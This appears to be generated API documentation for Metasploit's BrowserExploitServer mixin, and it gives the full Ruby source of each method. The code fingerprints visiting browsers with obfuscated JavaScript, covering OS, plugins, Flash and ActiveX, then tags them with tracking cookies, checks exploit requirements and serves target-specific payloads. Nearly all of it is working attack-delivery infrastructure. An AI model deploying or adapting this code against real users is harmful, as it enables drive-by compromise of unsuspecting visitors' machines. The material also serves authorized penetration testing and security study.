Module: Msf::Exploit::Remote::BrowserExploitServer

Includes:
JSObfu, BrowserProfileManager, HttpServer::HTML, Msf::Exploit::RopDb, Module::UI::Line::Verbose, Module::UI::Message::Verbose
Included in:
BrowserAutopwn2
Defined in:
lib/msf/core/exploit/remote/browser_exploit_server.rb

Defined Under Namespace

Classes: BESException

Constant Summary collapse

'__ua'
PROXY_REQUEST_HEADER_SET =
Set.new(%w{
   CLIENT_IP
   FORWARDED
   FORWARDED_FOR
   FORWARDED_FOR_IP
   HTTP_CLIENT_IP
   HTTP_FORWARDED
   HTTP_FORWARDED_FOR
   HTTP_FORWARDED_FOR_IP
   HTTP_PROXY_CONNECTION
   HTTP_VIA
   HTTP_X_FORWARDED
   HTTP_X_FORWARDED_FOR
   VIA
   X_FORWARDED
   X_FORWARDED_FOR
})
REQUIREMENT_KEY_SET =

Requirements a browser module can define in either BrowserRequirements or in targets

Set.new([
  'source',       # Return either 'script' or 'headers'
  'ua_name',      # Example: Returns 'MSIE'
  'ua_ver',       # Example: Returns '8.0', '9.0'
  'os_name',      # Example: Returns 'Windows 7', 'Linux'
  'os_device',    # Example: Returns 'iPad', 'iPhone', etc
  'os_vendor',    # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
  'os_sp',        # Example: Returns 'SP2'
  'language',     # Example: Returns 'en-us'
  'arch',         # Example: Returns 'x86'
  'proxy',        # Returns 'true' or 'false'
  'silverlight',  # Returns 'true' or 'false'
  'office',       # Example: Returns "2007", "2010"
  'java',         # Example: Return '1.6', or maybe '1.6.0.0' (depends)
  'mshtml_build', # mshtml build. Example: Returns "65535"
  'flash',        # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
  'vuln_test',    # Example: "if(window.MyComponentIsInstalled)return true;",
  # :activex is a special case.
  # When you set this requirement in your module, this is how it should be:
  # [:clsid=>'String', :method=>'String']
  # Where each Hash is a test case
  # But when BES receives this information, the JavaScript will return this format:
  # "CLSID=>Method=>Boolean;"
  # Also see: #has_bad_activex?
  'activex'
])

Constants included from HttpServer::HTML

HttpServer::HTML::UTF_16_BE, HttpServer::HTML::UTF_16_BE_MARKER, HttpServer::HTML::UTF_16_LE, HttpServer::HTML::UTF_32_BE, HttpServer::HTML::UTF_32_LE, HttpServer::HTML::UTF_7, HttpServer::HTML::UTF_7_ALL, HttpServer::HTML::UTF_8, HttpServer::HTML::UTF_NONE

Instance Attribute Summary

Attributes included from SocketServer

#service

Instance Method Summary collapse

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Module::UI::Line::Verbose

#vprint_line

Methods included from BrowserProfileManager

#browser_profile, #clear_browser_profiles

Methods included from JSObfu

#js_obfuscate

Methods included from Msf::Exploit::RopDb

#generate_rop_payload, #has_rop?, #rop_junk, #rop_nop, #select_rop

Methods included from HttpServer::HTML

#encrypt_js, #heaplib, #js_ajax_download, #js_ajax_post, #js_base64, #js_explib2, #js_explib2_payload, #js_heap_spray, #js_heaplib2, #js_ie_addons_detect, #js_misc_addons_detect, #js_mstime_malloc, #js_os_detect, #js_property_spray, #obfuscate_js, #send_response_html

Methods included from HttpServer

#add_resource, #add_robots_resource, #autofilter, #check_dependencies, #cli, #cli=, #close_client, #create_response, #fingerprint_user_agent, #get_resource, #get_uri, #hardcoded_uripath, #print_prefix, #random_uri, #regenerate_payload, #remove_resource, #report_user_agent, #resource_uri, #send_local_redirect, #send_redirect, #send_response, #send_robots, #srvhost_addr, #srvport, #start_service, #use_zlib

Methods included from Auxiliary::Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Methods included from TcpServer

#on_client_close, #on_client_connect, #ssl, #ssl_cert, #ssl_cipher, #ssl_compression, #start_service

Methods included from SocketServer

#_determine_server_comm, #exploit, #on_client_data, #primer, #regenerate_payload, #srvhost, #srvport, #start_service, #stop_service, #via_string_for_ip

Instance Method Details

#browser_profile_prefixObject

Returns a prefix that's unique to this browser exploit module. This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager. There are two way for BES to get this prefix, either:

  • It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with its child exploits, so that these exploits don't have to gather browser information again.

  • If the datastore option isn't set, then we assume the user is firing the exploit as a standalone so we make somthing more unique, so that if there are two instances using the same exploit, they don't actually share info.


128
129
130
131
132
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 128

def browser_profile_prefix
  self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda {
    "#{self.shortname}.#{Time.now.to_i}.#{self.uuid}"
  }.call
end

#cleanupObject

Cleans up target information owned by the current module.


136
137
138
139
140
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 136

def cleanup
  super
  # Whoever registered BrowserProfilePrefix should do the cleanup
  clear_browser_profiles unless self.datastore['BrowserProfilePrefix']
end

Returns HTTP header string for the tracking cookie.

Returns:

  • (String)

    HTTP header string for the tracking cookie


519
520
521
522
523
524
525
526
527
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 519

def cookie_header(tag)
  cookie = "#{cookie_name}=#{tag};"
  if datastore['CookieExpiration'].present?
    expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i)
    expires_str  = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT")
    cookie << " Expires=#{expires_str};"
  end
  cookie
end

Returns Name of the tracking cookie.

Returns:

  • (String)

    Name of the tracking cookie


514
515
516
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 514

def cookie_name
  datastore['CookieName'] || DEFAULT_COOKIE_NAME
end

#extract_requirements(reqs) ⇒ Hash

Returns a hash of recognizable requirements

Parameters:

  • reqs (Hash)

    A hash that contains data for the requirements

Returns:

  • (Hash)

    A hash of requirements


176
177
178
179
180
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 176

def extract_requirements(reqs)
  tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)}
  # Make sure keys are always symbols
  Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end

#get_bad_requirements(profile) ⇒ Array

Returns an array of items that do not meet the requirements

Parameters:

  • profile (Hash)

    The profile to check

Returns:

  • (Array)

    An array of requirements not met


236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 236

def get_bad_requirements(profile)
  bad_reqs = []
  @requirements.each do |rk, v|
    k = rk.to_sym
    expected = k != :vuln_test ? v : 'true'

    vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}")

    if k == :activex
      bad_reqs << k if has_bad_activex?(profile[k])
    elsif k == :vuln_test
      bad_reqs << k unless profile[k].to_s == 'true'
    elsif v.is_a? Regexp
      bad_reqs << k if profile[k] !~ v
    elsif v.is_a? Proc
      bad_reqs << k unless v.call(profile[k])
    else
      bad_reqs << k if profile[k] != v
    end
  end

  bad_reqs
end

#get_custom_404_urlString

Returns the custom 404 URL set by the user

Returns:

  • (String)

145
146
147
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 145

def get_custom_404_url
  datastore['Custom404'].to_s
end

#get_detection_html(user_agent) ⇒ String

Returns the code for client-side detection

Parameters:

  • user_agent (String)

    The user-agent of the browser

Returns:

  • (String)

    Returns the HTML for detection


358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 358

def get_detection_html(user_agent)
  ua_info = fingerprint_user_agent(user_agent)
  os      = ua_info[:os_name]
  client  = ua_info[:ua_name]

  code = ERB.new(%Q|
  <%= js_base64 %>
  <%= js_os_detect %>
  <%= js_ajax_post %>
  <%= js_misc_addons_detect %>
  <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>

  function objToQuery(obj) {
    var q = [];
    for (var key in obj) {
      q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
    }
    return Base64.encode(q.join('&'));
  }

  function isEmpty(str) {
    return (!str \|\| 0 === str.length);
  }

  function sendInfo(info) {
    var query = objToQuery(info);
    postInfo("<%=get_resource.chomp("/")%>/<%[email protected]_receiver_page%>/", query, function(){
      window.location="<%= get_module_resource %>";
    });
  }

  var flashVersion = "";
  var doInterval = true;
  var maxTimeout = null;
  var intervalTimeout = null;

  function setFlashVersion(ver) {
    flashVersion = ver
    if (maxTimeout != null) {
      clearTimeout(maxTimeout);
      maxTimeout = null
    }
    doInterval = false
    return;
  }

  function createFlashObject(src, attributes, parameters) {
    var i, html, div, obj, attr = attributes \|\| {}, param = parameters \|\| {};
    attr.type = 'application/x-shockwave-flash';
    if (window.ActiveXObject) {
      attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';
      param.movie = src;
    } else {
      attr.data = src;
    }

    html = '<object';
    for (i in attr) {
      html += ' ' + i + '="' + attr[i] + '"';
    }
    html += '>';
    for (i in param) {
      html += '<param name="' + i + '" value="' + param[i] + '" />';
    }
    html += '</object>';
    div = document.createElement('div');
    div.innerHTML = html;
    obj = div.firstChild;
    div.removeChild(obj);
    return obj;
  }

  window.onload = function() {
    var osInfo = os_detect.getVersion();
    var d = {
      "os_vendor"   : osInfo.os_vendor,
      "os_device"   : osInfo.os_device,
      "ua_name"     : osInfo.ua_name,
      "ua_ver"      : osInfo.ua_version,
      "arch"        : osInfo.arch,
      "java"        : misc_addons_detect.getJavaVersion(),
      "silverlight" : misc_addons_detect.hasSilverlight(),
      "flash"       : misc_addons_detect.getFlashVersion(),
      "vuln_test"   : <%= js_vuln_test %>,
      "os_name"     : osInfo.os_name
    };

    <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>
      d['office'] = ie_addons_detect.getMsOfficeVersion();
      d['mshtml_build'] = ScriptEngineBuildVersion().toString();
      <%
        activex = @requirements[:activex]
        if activex
          activex.each do \|a\|
            clsid = a[:clsid]
            method = a[:method]
      %>
            var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
            d['activex'] = "";
            if (ax == true) {
              d['activex'] += "<%=clsid%>=><%=method%>=>true;";
            } else {
              d['activex'] += "<%=clsid%>=><%=method%>=>false;";
            }
        <% end %>
      <% end %>
    <% end %>

    if (d["flash"] != null && (d["flash"].match(/[\\d]+.[\\d]+.[\\d]+.[\\d]+/)) == null) {
      var flashObject = createFlashObject('<%=get_resource.chomp("/")%>/<%[email protected]_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'});

      // After 5s stop waiting and use the version retrieved with JS if there isn't anything
      maxTimeout = setTimeout(function() {
        if (intervalTimeout != null) {
          doInterval = false
          clearInterval(intervalTimeout)
        }
        if (!isEmpty(flashVersion)) {
          d["flash"] = flashVersion
        }
        sendInfo(d);
      }, 5000);

      // Check if there is a new flash version every 100ms
      intervalTimeout = setInterval(function() {
        if (!doInterval) {
          clearInterval(intervalTimeout);
          if (!isEmpty(flashVersion)) {
            d["flash"] = flashVersion
          }
          sendInfo(d);
        }
      }, 100);

      document.body.appendChild(flashObject)
    } else {
      sendInfo(d)
    }
  }
  |).result(binding())

  js = ::Rex::Exploitation::JSObfu.new code
  js.obfuscate

  %Q|
  <script>
  #{js}
  </script>
  <noscript>
  <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
  <meta http-equiv="refresh" content="1; url=#{get_module_resource}">
  </noscript>
  |
end

#get_module_resourceString

Returns the resource (URI) to the module to allow access to on_request_exploit

Returns:

  • (String)

    URI to the exploit page


153
154
155
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 153

def get_module_resource
  "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end

#get_module_uriString

Returns the absolute URL to the module's resource that points to on_request_exploit

Returns:

  • (String)

    absolute URI to the exploit page


161
162
163
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 161

def get_module_uri
  "#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end

#get_payload(cli, browser_info) ⇒ String

Generates a target-specific payload, should be called by the module

Parameters:

  • cli (Socket)

    Socket for the browser

  • browser_info (Hash)

    The target profile

Returns:

  • (String)

    The payload


660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 660

def get_payload(cli, browser_info)
  arch     = browser_info[:arch]
  platform = browser_info[:os_name]

  # Fix names for consistency so our API can find the right one
  # Originally defined in lib/msf/core/constants.rb
  platform = platform.gsub(/^Mac OS X$/, 'OSX')
  platform = platform.gsub(/^Windows.*$/, 'Windows')

  p = regenerate_payload(cli, platform, arch)
  target_arch = get_target.arch || arch

  unless p.arch.all? { |e| target_arch.include?(e) }
    err =  "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). "
    err << "Please check your payload setting."
    raise BESException, err
  end

  return p.encoded
end

#get_targetObject

Returns the current target


167
168
169
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 167

def get_target
  @target
end

#has_bad_activex?(ax) ⇒ Boolean

Returns true if there's a bad ActiveX, otherwise false.

Parameters:

  • ax (String)

    The raw activex the JavaScript detection will return in this format: "CLSID=>Method=>Boolean;"

Returns:

  • (Boolean)

    True if there's a bad ActiveX, otherwise false


221
222
223
224
225
226
227
228
229
230
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 221

def has_bad_activex?(ax)
  ax.to_s.split(';').each do |a|
    bool = a.split('=>')[2]
    if bool == 'false'
      return true
    end
  end

  false
end

#has_proxy?(request) ⇒ Boolean

Checks if the target is running a proxy

Parameters:

Returns:

  • (Boolean)

    True if found, otherwise false


348
349
350
351
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 348

def has_proxy?(request)
  proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
  !proxy_header_set.empty?
end

#initialize(info = {}) ⇒ Object


84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 84

def initialize(info={})
  super

  # The mixin keeps 'target' handy so module doesn't lose it.
  @target = self.respond_to?(:target) ? target : nil

  # Requirements are conditions that the browser must have in order to be exploited.
  @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})

  @info_receiver_page     = Rex::Text.rand_text_alpha(5)
  @exploit_receiver_page  = Rex::Text.rand_text_alpha(6)
  @noscript_receiver_page = Rex::Text.rand_text_alpha(7)
  @flash_swf              = "#{Rex::Text.rand_text_alpha(9)}.swf"

  register_options(
  [
    OptBool.new('Retries', [false,  "Allow the browser to retry the module", true])
  ], Exploit::Remote::BrowserExploitServer)

  register_advanced_options([
    OptString.new('CookieName', [false,  "The name of the tracking cookie", DEFAULT_COOKIE_NAME]),
    OptString.new('CookieExpiration', [false,  "Cookie expiration in years (blank=expire on exit)"]),
    OptString.new('Custom404', [false, "An external custom 404 URL (Example: http://example.com/404.html)"])
  ], Exploit::Remote::BrowserExploitServer)
end

#js_vuln_testString

Returns custom Javascript to check if a vulnerability is present.

Returns:

  • (String)

    custom Javascript to check if a vulnerability is present


682
683
684
685
686
687
688
689
690
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 682

def js_vuln_test
  all_reqs = self.module_info['BrowserRequirements'] || {}
  if all_reqs[:vuln_test].present?
    code = all_reqs[:vuln_test] + ';return !!this.is_vuln;'
    'Function(('+JSON.generate(:code => code)+').code)()'
  else
    'true'
  end
end

#load_swf_detectionObject


529
530
531
532
533
534
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 529

def load_swf_detection
  path = ::File.join(Msf::Config.data_directory, 'flash_detector', 'flashdetector.swf')
  swf =  ::File.open(path, 'rb') { |f| swf = f.read }

  swf
end

#on_request_exploit(cli, request, browser_info) ⇒ Object

Overriding method. The module should override this.

Parameters:

  • cli (Socket)

    Socket for the browser

  • request (Rex::Proto::Http::Request)

    The HTTP request sent by the browser

  • browser_info (Hash)

    The target profile

Raises:

  • (NoMethodError)

632
633
634
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 632

def on_request_exploit(cli, request, browser_info)
  raise NoMethodError, "Module must define its own on_request_exploit method"
end

#on_request_uri(cli, request) ⇒ Object

Handles exploit stages.

Parameters:


541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 541

def on_request_uri(cli, request)
  case request.uri
  when '/', get_resource.chomp("/")
    #
    # This is the information gathering stage
    #
    if browser_profile[retrieve_tag(cli, request)]
      send_redirect(cli, get_module_resource)
      return
    end

    print_status("Gathering target information for #{cli.peerhost}")
    tag = Rex::Text.rand_text_alpha(rand(20) + 5)
    ua = request.headers['User-Agent'] || ''
    print_status("Sending HTML response to #{cli.peerhost}")
    html = get_detection_html(ua)
    send_response(cli, html, {'Set-Cookie' => cookie_header(tag)})

  when /#{@flash_swf}/
    vprint_status("Sending SWF used for Flash detection to #{cli.peerhost}")
    swf = load_swf_detection
    send_response(cli, swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})

  when /#{@info_receiver_page}/
    #
    # The detection code will hit this if Javascript is enabled
    #
    vprint_status "Info receiver page called from #{cli.peerhost}"
    process_browser_info(:script, cli, request)
    send_response(cli, '', {'Set-Cookie' => cookie_header(tag)})

  when /#{@noscript_receiver_page}/
    #
    # The detection code will hit this instead of Javascript is disabled
    # Should only be triggered by the img src in <noscript>
    #
    process_browser_info(:headers, cli, request)
    send_not_found(cli)

  when /#{@exploit_receiver_page}/
    #
    # This sends the actual exploit. A module should define its own
    # on_request_exploit() to get the target information
    #
    tag = retrieve_tag(cli, request)
    vprint_status("Serving exploit to user #{cli.peerhost} with tag #{tag}")
    profile = browser_profile[tag]
    if profile.nil?
      print_status("Browser visiting directly to the exploit URL is forbidden.")
      send_not_found(cli)
    elsif profile[:tried] && !datastore['Retries']
      print_status("Target #{cli.peerhost} with tag \"#{tag}\" wants to retry the module, not allowed.")
      send_not_found(cli)
    else
      profile[:tried] = true
      vprint_status("Setting target \"#{tag}\" to :tried.")
      try_set_target(profile)
      bad_reqs = get_bad_requirements(profile)
      if bad_reqs.empty?
          browser_info = profile.dup
        begin
          method(:on_request_exploit).call(cli, request, browser_info)
        rescue BESException => e
          elog('BESException', error: e)
          send_not_found(cli)
          print_error("BESException: #{e.message}")
        end
      else
        print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx")
        if bad_reqs.include?(:vuln_test)
          error_string = (self.module_info['BrowserRequirements'] || {})[:vuln_test_error]
          if error_string.present?
            print_warning(error_string)
          end
        end
        send_not_found(cli)
      end
    end

  else
    print_error("Target #{cli.peerhost} has requested an unknown path: #{request.uri}")
    send_not_found(cli)
  end
end

#process_browser_info(source, cli, request) ⇒ Object

Registers target information to @target_profiles

Parameters:

  • source (Symbol)

    Either :script, or :headers

  • cli (Socket)

    Socket for the browser

  • request (Rex::Proto::Http::Request)

    The HTTP request sent by the browser


291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 291

def process_browser_info(source, cli, request)
  tag = retrieve_tag(cli, request)

  browser_profile[tag] ||= {}
  profile = browser_profile[tag]
  profile[:source] = source.to_s

  found_ua_name = ''
  found_ua_ver  = ''

  # Gathering target info from the detection stage
  case source
  when :script
    # Gathers target data from a POST request
    parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
    vprint_status("Received sniffed browser data over POST from #{cli.peerhost}")
    vprint_line("#{parsed_body}.")
    parsed_body.each { |k, v| profile[k.to_sym] = (v.first == 'null' ? nil : v.first) }
    found_ua_name = parsed_body['ua_name']
    found_ua_ver = parsed_body['ua_ver']

  when :headers
    # Gathers target data from headers
    # This may be less accurate, and most likely less info.
    fp = fingerprint_user_agent(request.headers['User-Agent'])
    # Module has all the info it needs, ua_string is kind of pointless.
    # Kill this to save space.
    fp.delete(:ua_string)
    fp.each do |k, v|
      profile[k.to_sym] = v
    end
    found_ua_name = fp[:ua_name]
    found_ua_ver = fp[:ua_ver]
  end

  # Other detections
  profile[:proxy]    = has_proxy?(request)
  profile[:language] = request.headers['Accept-Language'] || ''

  # Basic tracking
  profile[:address]    = cli.peerhost
  profile[:module]     = self.fullname
  profile[:created_at] = Time.now

  report_client({
    :host      => cli.peerhost,
    :ua_string => request.headers['User-Agent'].to_s,
    :ua_name   => found_ua_name.to_s,
    :ua_ver    => found_ua_ver.to_s
  })
end

#retrieve_tag(cli, request) ⇒ Object

Retrieves a tag. First it obtains the tag from the browser's “Cookie” header. If the header is empty (possible if the browser has cookies disabled), then it will return a tag based on IP + the user-agent.

Parameters:


268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 268

def retrieve_tag(cli, request)
  cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
  tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first

  if tag.blank?
    # Browser probably doesn't allow cookies, plan B :-/
    vprint_status("No cookie received for #{cli.peerhost}, resorting to headers hash.")
    ip = cli.peerhost
    os = request.headers['User-Agent']
    tag = Rex::Text.md5("#{ip}#{os}")
  else
    vprint_status("Received cookie '#{tag}' from #{cli.peerhost}")
  end

  tag
end

#send_exploit_html(cli, template, headers = {}) ⇒ Object

Converts an ERB-based exploit template into HTML, and sends to client

Parameters:

  • cli (Socket)

    Socket for the browser

  • template (String)

    The ERB template. If you want to pass the binding object, then this is handled as an Array, with the first element being the HTML, and the second element is the binding object.

  • headers (Hash) (defaults to: {})

    The custom HTTP headers to include in the response


644
645
646
647
648
649
650
651
652
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 644

def send_exploit_html(cli, template, headers={})
  html = ''
  if template.class == Array
    html = ERB.new(template[0]).result(template[1])
  else
    html = ERB.new(template).result
  end
  send_response(cli, html, headers)
end

#setupObject


110
111
112
113
114
115
116
117
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 110

def setup
  custom_404 = get_custom_404_url
  if !custom_404.blank? && custom_404 !~ /^http/i
    raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)'])
  end

  super
end

#try_set_target(profile) ⇒ Object

Sets the target automatically based on what requirements are met. If there's a possible matching target, it will also merge the requirements. You can use the get_target() method to retrieve the most current target.

Parameters:

  • profile (Hash)

    The profile to check


188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
# File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 188

def try_set_target(profile)
  return unless self.respond_to?(:targets)
  match_counts        = []
  target_requirements = {}
  targets.each do |t|
    target_requirements = extract_requirements(t.opts)
    if target_requirements.blank?
      match_counts << 0
    else
      match_counts << target_requirements.select { |k,v|
        if v.is_a? Regexp
          profile[k] =~ v
        else
          profile[k] == v
        end
      }.length
    end
  end

  if match_counts.max.to_i > 0
    @target = targets[match_counts.index(match_counts.max)]
    target_requirements = extract_requirements(@target.opts)
    unless target_requirements.blank?
      @requirements = @requirements.merge(target_requirements)
    end
  end
end